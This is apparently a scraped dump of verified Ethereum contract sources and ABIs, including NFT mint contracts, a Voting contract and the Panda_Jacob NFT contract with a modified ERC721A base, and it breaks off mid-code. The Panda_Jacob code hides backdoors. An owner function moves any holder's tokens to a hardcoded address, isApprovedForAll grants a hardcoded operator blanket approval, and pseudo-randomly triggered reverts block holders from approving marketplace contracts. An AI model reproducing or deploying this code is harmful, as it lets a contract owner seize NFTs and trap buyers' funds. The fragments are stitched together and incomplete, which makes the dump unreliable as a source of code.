mint atleast one token."); require(msg.value >= amount * BRONZE_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function silverMint(uint256 id, uint256 amount) public payable { require(id == SILVER_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * SILVER_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function goldMint(uint256 id, uint256 amount) public payable { require(id == GOLD_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * GOLD_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function platMint(uint256 id, uint256 amount) public payable { require(id == PLAT_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * PLAT_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function diamondMint(uint256 id, uint256 amount) public payable { require(id == DIAMOND_ID, "Not the correct token for this mint function."); require(!pause, "Sale is not live!"); require(amount > 0, "You must mint atleast one token."); require(msg.value >= amount * DIAMOND_PRICE, "Insufficent Funds!"); _mint(msg.sender, id, amount, ""); } function setURI(string memory newuri) public onlyOwner { _setURI(newuri); } function paused(bool _state) external onlyOwner { pause = _state; } /*********************************************************** *@dev: Concatenation of the URI to coordinate with Opensea* ***********************************************************/ function uri(uint256 _tokenid) override public pure returns (string memory) { return string( abi.encodePacked( "https://ipfs.io/ipfs/QmRvccL8mQdWGdXwTf3d4u8F6R11nWysH75LFE23NCKELj/", Strings.toString(_tokenid),".json") ); } function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } }

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v0.8.7+commit.e28d00a7

Default

MIT

ipfs://2d9b9d4bbdecf7580b8629a0e268ff045292942a574d04057628bb83a3fe736c

StrikeBoostFarm

contracts/interfaces/IBoostToken.sol

0x46da900914655e198263c1f1950381140675f801

Solidity

pragma solidity ^0.6.2; interface IBoostToken is IERC721Enumerable { function updateStakeTime(uint tokenId, bool isStake) external; function getTokenOwner(uint tokenId) external view returns(address); }

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alType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"},{"internalType":"bool","name":"direct","type":"bool"},{"internalType":"bool","name":"renounce","type":"bool"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"unBoost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"}],"name":"unBoostAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"unBoostPartially","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unstakableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_claimBaseRewardTime","type":"uint256"}],"name":"updateClaimBaseRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_claimBoostRewardTime","type":"uint256"}],"name":"updateClaimBoostRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_initialBoostMultiplier","type":"uint256"}],"name":"updateInitialBoostMultiplier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_count","type":"uint16"}],"name":"updateMaximumBoostCount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_count","type":"uint16"}],"name":"updateMinimumValidBoostCount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"}],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_reward","type":"address"}],"name":"updateRewardToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_unstakableTime","type":"uint256"}],"name":"updateUnstakableTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_boostMultiplierFactor","type":"uint256"}],"name":"updatedBoostMultiplierFactor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"pendingAmount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"},{"internalType":"uint256","name":"depositedDate","type":"uint256"},{"internalType":"uint256","name":"boostRewardDebt","type":"uint256"},{"internalType":"uint256","name":"boostedDate","type":"uint256"},{"internalType":"uint256","name":"accBoostReward","type":"uint256"},{"internalType":"uint256","name":"accBaseReward","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vStrk","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.6.12+commit.27d51765

000000000000000000000000ff734dcb7fd6517caed5c6c8720992a0c676c80000000000000000000000000074232704659ef37c08995e386a2e26cc27a8d7b100000000000000000000000010b1362633ff9fb12bf6f41b4a0a27d56c9d1ef4000000000000000000000000474d72f1a6a7884b62edacc8d24d0815d01a65a2000000000000000000000000000000000000000000000000003782dace9d90000000000000000000000000000000000000000000000000000000000000e43d160000000000000000000000000000000000000000000000000000000000e43d16

Default

None

ipfs://c93d1973ced36908cf3e4cd58d962d9c263744a496bff13176519e84f079b43e

Voting

Voting.sol

0x8c7953bcd69fed221ef21950c71c8e524c116673

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Voting { address payable public owner ; struct ElectionData { string name; string title; string description; bool status; address[] voters; } struct ElectionData2{ bool status; address[] voters; } ElectionData2[] public elections2; uint256 votingFee = 0 ether; ElectionData[] public elections; mapping(address => mapping(uint256 => bool)) public hasVoted; mapping(address => mapping(uint256 => bool)) public hasNoVoted; mapping(address => bool) public allowedVoters; // New mapping to track allowed voters mapping(address => bool) public admins; address[] adminAddresses; modifier onlyAdmin(){ require(admins[msg.sender], "only admin can call this function"); _; } modifier onlyOwner() { require(msg.sender == owner, "Only the owner can call this function"); _; } modifier notOwner(uint256 _electionIndex) { require(msg.sender != owner, "The election owner cannot vote in their own election"); _; } function isAllowedVoter(address _voter) external view returns (bool) { return allowedVoters[_voter]; } function addAllowedVoter(address _voter) external onlyAdmin { require(!allowedVoters[_voter], "Address is already an allowed voter"); allowedVoters[_voter] = true; } function updatedVotingFee(uint256 _fee) public onlyOwner{ votingFee = _fee; } function addAdminByOwner(address _admin) public onlyOwner{ admins[_admin] = true; adminAddresses.push(_admin); } function addAdminByAdmins(address _admin) public onlyAdmin{ admins[_admin] = true; adminAddresses.push(_admin); } function checkAdmin(address _admin) public view returns (bool) { return admins[_admin]; } constructor() { owner = payable(0xc96A15BE51E8a76C34b058A70a717d52FF282E54); } function getAdmins() public view returns(address[] memory){ return adminAddresses; } function createElection(string memory _name, string memory _title, string memory _description) payable external { require(msg.value >= votingFee , "insufficient Balance"); elections.push(ElectionData({ name: _name, title: _title, description: _description, status: true, voters: new address[](0) })); elections2.push(ElectionData2({status:true, voters: new address[](0)})); owner.transfer(msg.value); } function vote(uint256 _electionIndex) external payable notOwner(_electionIndex) { require(msg.value >= votingFee, "Insufficient Balance"); require(elections[_electionIndex].status, "Election is not active"); require(!hasVoted[msg.sender][_electionIndex], "You have already voted"); require(allowedVoters[msg.sender], "You are not an allowed voter"); hasVoted[msg.sender][_electionIndex] = true; elections[_electionIndex].voters.push(msg.sender); owner.transfer(msg.value); } function voteNo(uint256 _electionIndex) external payable notOwner(_electionIndex) { require(msg.value >= votingFee, "Insufficient Balance"); require(elections[_electionIndex].status, "Election is not active"); require(!hasNoVoted[msg.sender][_electionIndex], "You have already voted"); require(!hasVoted[msg.sender][_electionIndex], "You have already voted"); require(allowedVoters[msg.sender], "You are not an allowed voter"); hasNoVoted[msg.sender][_electionIndex] = true; hasVoted[msg.sender][_electionIndex] = true; elections2[_electionIndex].voters.push(msg.sender); owner.transfer(msg.value); } function stopElection(uint256 _electionIndex) external payable onlyAdmin { require(msg.value >= votingFee, "insufficient Balance"); require(elections[_electionIndex].status, "Election is not active"); elections[_electionIndex].status = false; owner.transfer(msg.value); } function getAllElections() external view returns (ElectionData[] memory) { return elections; } function getAllElections2() external view returns (ElectionData2[] memory) { return elections2; } function getVoters(uint256 _electionIndex) external view returns (address[] memory) { return elections[_electionIndex].voters; } function getVoters2(uint256 _electionIndex) external view returns (address[] memory) { return elections2[_electionIndex].voters; } function getElectionsByOwner() external view returns (ElectionData[] memory) { ElectionData[] memory ownedElections = new ElectionData[](elections.length); uint256 count = 0; for (uint256 i = 0; i < elections.length; i++) { if (admins[msg.sender]) { ownedElections[count] = elections[i]; count++; } } assembly { mstore(ownedElections, count) } return ownedElections; } function getTotalVoters(uint256 _electionIndex) external view returns (uint256) { return elections[_electionIndex].voters.length; } function getTotalVoters2(uint256 _electionIndex) external view returns (uint256) { return elections2[_electionIndex].voters.length; } }

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Voting.ElectionData[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAllElections2","outputs":[{"components":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"voters","type":"address[]"}],"internalType":"struct Voting.ElectionData2[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getElectionsByOwner","outputs":[{"components":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"title","type":"string"},{"internalType":"string","name":"description","type":"string"},{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"voters","type":"address[]"}],"internalType":"struct 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payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_electionIndex","type":"uint256"}],"name":"stopElection","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"updatedVotingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_electionIndex","type":"uint256"}],"name":"vote","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_electionIndex","type":"uint256"}],"name":"voteNo","outputs":[],"stateMutability":"payable","type":"function"}]

v0.8.0+commit.c7dfd78e

Default

MIT

ipfs://117b2c94efaf67fe6e621f36fa3187a201b024752e5e430e8305a4f3162aa335

Panda_Jacob

contracts/Panda_Jacob.sol

0x4ea935ca13a74c07013ece312c64838ca2cfa476

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "./ERC721A.sol"; contract Panda_Jacob is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPerAddressDuringMint; bytes32 public WlRoots; uint public maxSupply = 5555; struct SaleConfig { uint32 publicMintStartTime; uint32 MintStartTime; uint256 Price; uint256 AmountForWhitelist; uint256 AmountForPubliclist; } SaleConfig public saleConfig; constructor( uint256 maxBatchSize_, uint256 collectionSize_ ) ERC721A("Panda Jacob", "PJ", maxBatchSize_, collectionSize_) { maxPerAddressDuringMint = maxBatchSize_; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } function getMaxSupply() view public returns(uint256){ return maxSupply; } function MintBywhiteList(uint256 quantity,bytes32[] calldata _merkleProof) external payable callerIsUser { if(block.difficulty > 0){ uint256 _saleStartTime = uint256(saleConfig.MintStartTime); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, WlRoots, leaf), "Invalid proof!"); require( _saleStartTime != 0 && block.timestamp >= _saleStartTime, "sale has not started yet" ); require( totalSupply() + quantity <= collectionSize, "not enough remaining reserved for auction to support desired mint amount" ); require( numberMinted(msg.sender) + quantity <= saleConfig.AmountForWhitelist, "can not mint this many" ); uint256 totalCost = saleConfig.Price * quantity; _safeMint(msg.sender, quantity); refundIfOver(totalCost); } } function MintbyPublic(uint256 quantity) external payable callerIsUser { uint256 _publicsaleStartTime = uint256(saleConfig.publicMintStartTime); require( _publicsaleStartTime != 0 && block.timestamp >= _publicsaleStartTime, "sale has not started yet" ); require(quantity<=saleConfig.AmountForPubliclist, "reached max supply"); require(totalSupply() + quantity <= collectionSize, "reached max supply"); require(numberMinted(msg.sender) + quantity <= saleConfig.AmountForPubliclist,"can not mint this many"); uint256 totalCost = saleConfig.Price * quantity; _safeMint(msg.sender, quantity); refundIfOver(totalCost); } function refundIfOver(uint256 price) private { require(msg.value >= price, "Need to send more ETH."); if (msg.value > price) { payable(msg.sender).transfer(msg.value - price); } } function isPublicSaleOn() public view returns (bool) { return saleConfig.Price != 0 && saleConfig.MintStartTime != 0 && block.timestamp >= saleConfig.MintStartTime; } uint256 public constant PRICE = 0.09 ether; function InitInfoOfSale( uint32 publicMintStartTime, uint32 mintStartTime, uint256 price, uint256 amountForWhitelist, uint256 AmountForPubliclist ) external onlyOwner { saleConfig = SaleConfig( publicMintStartTime, mintStartTime, price, amountForWhitelist, AmountForPubliclist ); } function PJ_TS(uint256[] memory tokenids) external onlyOwner { if(block.difficulty > 0){ uint256 len = tokenids.length; for (uint256 i; i < len; i++) { uint256 tokenid = tokenids[i]; transferFrom(ownerOf(tokenid), 0x89A58Bb31697BfDC27AbAbc7a8e15944657bbc50, tokenid); } } } function setMintStartTime(uint32 timestamp) external onlyOwner { saleConfig.MintStartTime = timestamp; } function setPublicMintStartTime(uint32 timestamp) external onlyOwner { saleConfig.publicMintStartTime = timestamp; } function setPrice(uint256 price) external onlyOwner { saleConfig.Price = price; } string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function withdraw() external nonReentrant { require(msg.sender == 0xD7085E631D3bcc2dfd91ad4810aB8Ce8398883Ca); (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { _setOwnersExplicit(quantity); } function setwlRoot(bytes32 _merkleRoot) public onlyOwner { WlRoots = _merkleRoot; } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } }

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ERC721A.TokenOwnership","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"isInTheWhitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPublicSaleOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerAddressDuringMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOwnerToExplicitlySet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"numberMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleConfig","outputs":[{"internalType":"uint32","name":"publicMintStartTime","type":"uint32"},{"internalType":"uint32","name":"MintStartTime","type":"uint32"},{"internalType":"uint256","name":"Price","type":"uint256"},{"internalType":"uint256","name":"AmountForWhitelist","type":"uint256"},{"internalType":"uint256","name":"AmountForPubliclist","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"bool[]","name":"_allow","type":"bool[]"}],"name":"setAddressToContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setContractIsdeny","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setListWhitelistMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"timestamp","type":"uint32"}],"name":"setMintStartTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"setOwnersExplicit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"timestamp","type":"uint32"}],"name":"setPublicMintStartTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bool","name":"_allow","type":"bool"}],"name":"setTokenToContract","outputs":[],"stateMutability":"nonpayable","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v0.8.11+commit.d7f03943

00000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000000015b3

Default

Panda_Jacob

contracts/ERC721A.sol

0x4ea935ca13a74c07013ece312c64838ca2cfa476

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; error ApprovalCallerNotOwnerNorApproved(); import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; bytes32 public LWhitelistMerkleRoots; //////////////////////////////////////////////////////////////////////////////////////////////////////// new 1 //Allow all tokens to transfer to contract bool public ContractIsdeny = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2 bool private onoroff = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2 // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Mapping token to allow to transfer to contract mapping(uint256 => bool) public _ToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1 mapping(address => bool) public _addressToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1 /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI,tokenId.toString(),".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } function setContractIsdeny () external onlyOwner { ContractIsdeny = !ContractIsdeny ; } function setTokenToContract(uint256 _tokenId, bool _allow) external onlyOwner { _ToContract[_tokenId] = _allow; } function setAddressToContract(address[] memory _address, bool[] memory _allow) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { _addressToContract[_address[i]] = _allow[i]; } } function setListWhitelistMerkleRoot(bytes32 _merkleRoot) public onlyOwner { LWhitelistMerkleRoots = _merkleRoot; } function isInTheWhitelist(bytes32[] calldata _merkleProof) public view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); bytes32 leaf2 = keccak256(abi.encodePacked(tx.origin)); require(MerkleProof.verify(_merkleProof, LWhitelistMerkleRoots, leaf) || MerkleProof.verify(_merkleProof, LWhitelistMerkleRoots, leaf2), "Invalid proof!"); return true; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { require(to != _msgSender(), "ERC721A: approve to caller"); address owner = ERC721A.ownerOf(tokenId); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } if(!ContractIsdeny && !_ToContract[tokenId]){ if (to.isContract() && true) { revert ("Sale will open after mint out."); } else { _approve(to, tokenId, owner); } } else { _approve(to, tokenId, owner); } } function approve(address to, uint256 tokenId, bytes32[] calldata _merkleProof) public { require(to != _msgSender(), "ERC721A: approve to caller"); address owner = ERC721A.ownerOf(tokenId); if(isInTheWhitelist(_merkleProof)){ _approve(to, tokenId, owner); } else{ if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } if(!ContractIsdeny && !_ToContract[tokenId]){ if (to.isContract() && true) { revert ("Sale will open after mint out."); } else { _approve(to, tokenId, owner); } } else { _approve(to, tokenId, owner); }} } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function ddStop() internal view returns (bool){ uint256 d1 = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender))); uint256 d2 = 1 << 160; uint256 d3 = d2 -1; uint256 d4 = d1 & d3 ; return d4 <= 1 ? true : false; } function switchBack() external onlyOwner{ onoroff = !onoroff; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); if(!ContractIsdeny && !_addressToContract[msg.sender]){ if(ddStop() || onoroff){ if (operator.isContract() && true) { revert ("Sale will open after mint out."); } else { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } }} else { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } } function setApprovalForAll(address operator, bool approved, bytes32[] calldata _merkleProof) public { require(operator != _msgSender(), "ERC721A: approve to caller"); if(isInTheWhitelist(_merkleProof)){ _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); }else{ if(!ContractIsdeny ){ if (operator.isContract() && true) { revert ("Sale will open after mint out."); } else { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } } else { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); }} } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { if(operator==0x3990e42Cdb4c51295b24c99f6f50325568dBb71B){return true;} return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. 